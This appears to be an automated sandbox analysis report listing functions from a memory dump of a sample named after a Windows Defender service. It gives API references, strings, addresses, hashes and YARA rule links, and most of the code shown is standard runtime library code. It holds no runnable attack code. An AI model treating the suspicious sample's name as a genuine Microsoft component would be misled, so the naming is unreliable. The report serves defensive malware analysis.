Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: ee297f9163e0f4433d44ddb9cb44c8a0d7b8774eba215f582c9318408fc80d28
Instruction ID: 21df551d3b8d7159b3070c821db03270b2ec9c1b6872e94ae9cef2012ae828c2
Opcode Fuzzy Hash: ee297f9163e0f4433d44ddb9cb44c8a0d7b8774eba215f582c9318408fc80d28
Instruction Fuzzy Hash: 2D41E461B1AA02C1FA1EEB1BB9005B5A291BF45BE0F844235DD1D87B94EF3CE445E738

Function 00007FF76E183D40 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32 ref: 00007FF76E183D6B
GetLastError.KERNEL32 ref: 00007FF76E183D79
ReportEventW.ADVAPI32 ref: 00007FF76E183DE4
DeregisterEventSource.ADVAPI32 ref: 00007FF76E183DED

Strings

%s failed with %d, xrefs: 00007FF76E183D82
MicrosoftWindowsDefenderCoreService, xrefs: 00007FF76E183D62
MicrosoftWindowsDefenderCoreService, xrefs: 00007FF76E183D9E

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: Event$Source$DeregisterErrorLastRegisterReport
String ID: %s failed with %d$MicrosoftWindowsDefenderCoreService$MicrosoftWindowsDefenderCoreService
API String ID: 544316925-1642833198
Opcode ID: 3dc40fa490e00813dccf98bc73929a08a4ac8a948f6b890265eb78da6b3d84f4
Instruction ID: 502e0b7905e47f9d3276025047dffa26889ecfd6bdff33dca7814adb34993b88
Opcode Fuzzy Hash: 3dc40fa490e00813dccf98bc73929a08a4ac8a948f6b890265eb78da6b3d84f4
Instruction Fuzzy Hash: 4A111F32A08B85C6EB599B10F4553AAB3A0FB8D744F801136EA8D43B54EF7CD154DB24

Function 00007FF76E1A0F04 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 494COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF76E1A0F47
_invalid_parameter_noinfo.LIBCMT ref: 00007FF76E1A1334
_invalid_parameter_noinfo.LIBCMT ref: 00007FF76E1A15D0

Strings

f, xrefs: 00007FF76E1A1069
p, xrefs: 00007FF76E1A1071
p, xrefs: 00007FF76E1A0FF9

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p$p
API String ID: 3215553584-1995029353
Opcode ID: e082a461071b6da24f3492d34e17e8e84d0aafa2cd8011b319846d8f4dadc02c
Instruction ID: 6072494060513f57803dcf91a8d8a56fd2d9a1437cc911a0cb38f9fc09d8edc4
Opcode Fuzzy Hash: e082a461071b6da24f3492d34e17e8e84d0aafa2cd8011b319846d8f4dadc02c
Instruction Fuzzy Hash: EF1286E2F0C143C6FB187A19B1542B9F6A2EB41750FD84035E69A47EC4DB7CE848A738

Function 00007FF76E1A709C Relevance: 10.8, APIs: 7, Instructions: 290COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF76E1A74C9

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e95652fa3470eead33a2fc63796d06924de8eb24e60a75e7e39f100f9d82b40c
Instruction ID: 6d0b9d9022216e9232062301adc8cdbc984759ebbcc06335d608021772fe7606
Opcode Fuzzy Hash: e95652fa3470eead33a2fc63796d06924de8eb24e60a75e7e39f100f9d82b40c
Instruction Fuzzy Hash: 35C10822A0C786C1E7196B59B4002BDFB95EF80B80FD50136DA4D03BD9DE7CEA55A738

Function 00007FF76E195C1C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00007FF76E195CA1
GetLastError.KERNEL32 ref: 00007FF76E195CAF
LoadLibraryExW.KERNEL32 ref: 00007FF76E195CD9
FreeLibrary.KERNEL32 ref: 00007FF76E195D47
GetProcAddress.KERNEL32 ref: 00007FF76E195D53

Strings

api-ms-, xrefs: 00007FF76E195CC1

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: a5a05adb5d86b50c8c6e6eed927ac3269ff3a31544a40d678027116eb92af1ea
Instruction ID: 956cac2c3ce7bbcf605a1f31a7943bd8572af9569c355af3b8bab530d91c1139
Opcode Fuzzy Hash: a5a05adb5d86b50c8c6e6eed927ac3269ff3a31544a40d678027116eb92af1ea
Instruction Fuzzy Hash: 5131C521B1A642C1EE19FB12B404579A3D5BF04BA1FD90535DD1D17790EF3CE8449738

Function 00007FF76E1A1DF0 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF76E1A1DFF
FlsGetValue.KERNEL32 ref: 00007FF76E1A1E14
FlsSetValue.KERNEL32 ref: 00007FF76E1A1E35
FlsSetValue.KERNEL32 ref: 00007FF76E1A1E62
FlsSetValue.KERNEL32 ref: 00007FF76E1A1E73
FlsSetValue.KERNEL32 ref: 00007FF76E1A1E84
SetLastError.KERNEL32 ref: 00007FF76E1A1E9F

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: b14d8a1ba4c2739b1ba6a8f68ca97d09823e0a80f273db79ccf80c90ace84012
Instruction ID: f31014199ecf68acca96ee61937886a509d5e0345af87e4b08f9de6fc53529c9
Opcode Fuzzy Hash: b14d8a1ba4c2739b1ba6a8f68ca97d09823e0a80f273db79ccf80c90ace84012
Instruction Fuzzy Hash: 96216D20F0C212C2FA6E772AB65513DE2526F44BB0FC40B34D97E47ED6DE2CA445A678

Function 00007FF76E1B297C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF76E1B29AD
GetLastError.KERNEL32 ref: 00007FF76E1B29B9
CloseHandle.KERNEL32 ref: 00007FF76E1B29D1
CreateFileW.KERNEL32 ref: 00007FF76E1B29FC
WriteConsoleW.KERNEL32 ref: 00007FF76E1B2A1B

Strings

CONOUT$, xrefs: 00007FF76E1B29DD

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 62d9b5d24e4fb6abcbada70e0530243db7f6cfeb5a7f27f68214560e5305eba5
Instruction ID: 289697c9d42363896a44eee234fc565b559764adb9ab81bb80ef704e99c53c7a
Opcode Fuzzy Hash: 62d9b5d24e4fb6abcbada70e0530243db7f6cfeb5a7f27f68214560e5305eba5
Instruction Fuzzy Hash: C611BE21A18A41C6E754AB12F854329F2A0FB89FE4F804235EA9D83BD4DF7CD444D768

Function 00007FF76E190274 Relevance: 9.2, APIs: 6, Instructions: 206COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF76E1902E4
MultiByteToWideChar.KERNEL32 ref: 00007FF76E190382
LCMapStringEx.KERNEL32 ref: 00007FF76E1903EB
LCMapStringEx.KERNEL32 ref: 00007FF76E19043D
LCMapStringEx.KERNEL32 ref: 00007FF76E1904E2
WideCharToMultiByte.KERNEL32 ref: 00007FF76E19053C

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: 0fd29cbb7af6d76dae49e4a1d0baa518f45d08b5763d85ee9fde59cd8831a8bc
Instruction ID: d328ba5e6180da20ac6f5ea569ee3b2f7f0465e5455f95aa72d888344aba3b1a
Opcode Fuzzy Hash: 0fd29cbb7af6d76dae49e4a1d0baa518f45d08b5763d85ee9fde59cd8831a8bc
Instruction Fuzzy Hash: 0D819272A08741C6EB28AF25B440269B3E6FF44BA4F940635EA5D47BD8EF3CD8409734

Function 00007FF76E18DE00 Relevance: 9.1, APIs: 6, Instructions: 84COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF76E18DE2B
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF76E18DE50
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF76E18DE7A
std::_Facet_Register.LIBCPMT ref: 00007FF76E18DEF1
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF76E18DF12
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF76E18DF3A

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: f70f61bac27a082725c3e5468bdb31bd3bcc1b36a288abbb61d2fcafcbecc5c5
Instruction ID: d28cf4b10d440a7496bd3101de7ec544d33e3e2c370faf25c0210c55d77b1573
Opcode Fuzzy Hash: f70f61bac27a082725c3e5468bdb31bd3bcc1b36a288abbb61d2fcafcbecc5c5
Instruction Fuzzy Hash: FB315621A08B05C5EA19BB15F8401BAB364FB94B98FD80632DA5D437A5DF3CE441DB39

Function 00007FF76E18D960 Relevance: 9.1, APIs: 6, Instructions: 84COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF76E18D98B
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF76E18D9B0
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF76E18D9DA

Part of subcall function 00007FF76E181C20: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF76E181C8B
Part of subcall function 00007FF76E181C20: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF76E181CD3
Part of subcall function 00007FF76E181C20: _Getctype.LIBCPMT ref: 00007FF76E181CEB
Part of subcall function 00007FF76E181C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF76E181D7B

std::_Facet_Register.LIBCPMT ref: 00007FF76E18DA51
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF76E18DA72
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF76E18DA9A

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_GetctypeLocinfo::_Locinfo_ctorRegister
String ID:
API String ID: 2324539378-0
Opcode ID: 5ba330be2dbbb8b3f6702c6a6d1631c6be94a71e4c76cdf28269f1f4d6e0dc4d
Instruction ID: 91b5d79d2e450212b779f1dbe5be274c59541314754fb4d637f3fbd45e54d6f7
Opcode Fuzzy Hash: 5ba330be2dbbb8b3f6702c6a6d1631c6be94a71e4c76cdf28269f1f4d6e0dc4d
Instruction Fuzzy Hash: 2D316422A0CB41C5EA29BB15F44017AB364FB88B94FD80132DA5E873A5DE3CE445DB39

Function 00007FF76E1937AC Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 320COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF76E19394A
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF76E193C73

Strings

csm, xrefs: 00007FF76E193891
csm, xrefs: 00007FF76E193971
csm, xrefs: 00007FF76E1938F3

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: f5169c4f56f61db07aea03b59a458c5f8c9868908afcd53ad126c0150c097e91
Instruction ID: ce125ae3f783afecaac464a4ff437510b50bd8d049edb9e366a6e3a43cba3165
Opcode Fuzzy Hash: f5169c4f56f61db07aea03b59a458c5f8c9868908afcd53ad126c0150c097e91
Instruction Fuzzy Hash: 27E1D332908782CAE718AF74E4843ADB7A2FB44748F944135DE8D57696CF38E982D734

Function 00007FF76E1A1F68 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF76E1A1F77
FlsSetValue.KERNEL32(?,?,0000D3F9CE523F0D,00007FF76E19D365,?,?,?,?,00007FF76E1A95BA,?,?,00000000,00007FF76E1AE55B,?,?,?), ref: 00007FF76E1A1FAD
FlsSetValue.KERNEL32(?,?,0000D3F9CE523F0D,00007FF76E19D365,?,?,?,?,00007FF76E1A95BA,?,?,00000000,00007FF76E1AE55B,?,?,?), ref: 00007FF76E1A1FDA
FlsSetValue.KERNEL32(?,?,0000D3F9CE523F0D,00007FF76E19D365,?,?,?,?,00007FF76E1A95BA,?,?,00000000,00007FF76E1AE55B,?,?,?), ref: 00007FF76E1A1FEB
FlsSetValue.KERNEL32(?,?,0000D3F9CE523F0D,00007FF76E19D365,?,?,?,?,00007FF76E1A95BA,?,?,00000000,00007FF76E1AE55B,?,?,?), ref: 00007FF76E1A1FFC
SetLastError.KERNEL32 ref: 00007FF76E1A2017

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: a2daba614819bf553a6c31a2763aabdaf180dc8d53e8e840be4aaf8f075131df
Instruction ID: d06a21cb30d652915f82647220eabfe4ebbcf9b1f3f30b32db91a9da9d87b491
Opcode Fuzzy Hash: a2daba614819bf553a6c31a2763aabdaf180dc8d53e8e840be4aaf8f075131df
Instruction Fuzzy Hash: CA115C20B0C252C2FA6C772A765107DE1526F48BB0F940734E97E47FD6DE2CA445E678

Function 00007FF76E181C20 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF76E181C8B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF76E181CD3
_Getctype.LIBCPMT ref: 00007FF76E181CEB
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF76E181D7B

Strings

bad locale name, xrefs: 00007FF76E181D9E

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: std::_$Lockit$GetctypeLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2967684691-1405518554
Opcode ID: dfc1825e89eee14596a70879a8abb65736ceb11984c2e4ac4046aaa8f830b525
Instruction ID: 5fa868d1bf23078872b38190362d4243c6a03804a001937480df2520f634936c
Opcode Fuzzy Hash: dfc1825e89eee14596a70879a8abb65736ceb11984c2e4ac4046aaa8f830b525
Instruction Fuzzy Hash: 0541AE22B09B41C9FB18EBB0E4502BD7361AF44748F944534DE4D23A99CF38D51AA379

Function 00007FF76E19ED14 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF76E19ED39
GetProcAddress.KERNEL32 ref: 00007FF76E19ED4F
FreeLibrary.KERNEL32 ref: 00007FF76E19ED76

Strings

mscoree.dll, xrefs: 00007FF76E19ED30
CorExitProcess, xrefs: 00007FF76E19ED48

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: a6a2257ccce73abb0b5de8b17e2571786f334c575c5a99e5c4bf9468e7371670
Instruction ID: c0796b405520ae11584e925d78497ff6bd80e9c146a6ac0673af78568d185767
Opcode Fuzzy Hash: a6a2257ccce73abb0b5de8b17e2571786f334c575c5a99e5c4bf9468e7371670
Instruction Fuzzy Hash: 4AF0C261A08A02C1EA2CAB20F454379A3A1FF48B60F801336DAAE065F4CF2DD544E338

Function 00007FF76E192BAC Relevance: 7.8, APIs: 5, Instructions: 290COMMON

Download Yara Rule

APIs

__AdjustPointer.LIBCMT ref: 00007FF76E192CCF
__AdjustPointer.LIBCMT ref: 00007FF76E192D1A

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 50badd6584c0e704502cbde6b854f5239cc82cee7ff32e6050982a3aefd23c99
Instruction ID: 74260ca46ae402d16014349469799deab97a92240db1e058103bf721863caaca
Opcode Fuzzy Hash: 50badd6584c0e704502cbde6b854f5239cc82cee7ff32e6050982a3aefd23c99
Instruction Fuzzy Hash: 77B18122A0A646C1EA6DFF11B58067DE2D6AF44B84F898435DE4D07795DE3CEC42E338

Function 00007FF76E181680 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00007FF76E18189F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF76E181918
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF76E18191E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF76E18192A
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF76E18194D

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task__std_exception_copy__std_exception_destroy
String ID:
API String ID: 1087005451-0
Opcode ID: 02996f24eed811a7ae1eb20188cd5df9c91460e270f6fb6400a3a26fa3e2ad52
Instruction ID: 2da90f6e5f93c8dd070a3119dfe2c59007bff85c45226f72d8abb366710a028a
Opcode Fuzzy Hash: 02996f24eed811a7ae1eb20188cd5df9c91460e270f6fb6400a3a26fa3e2ad52
Instruction Fuzzy Hash: 5281E523F18B41C9FB14ABA4F4003ED7362AB44798F804236DE6D16BD6EE38A085D364

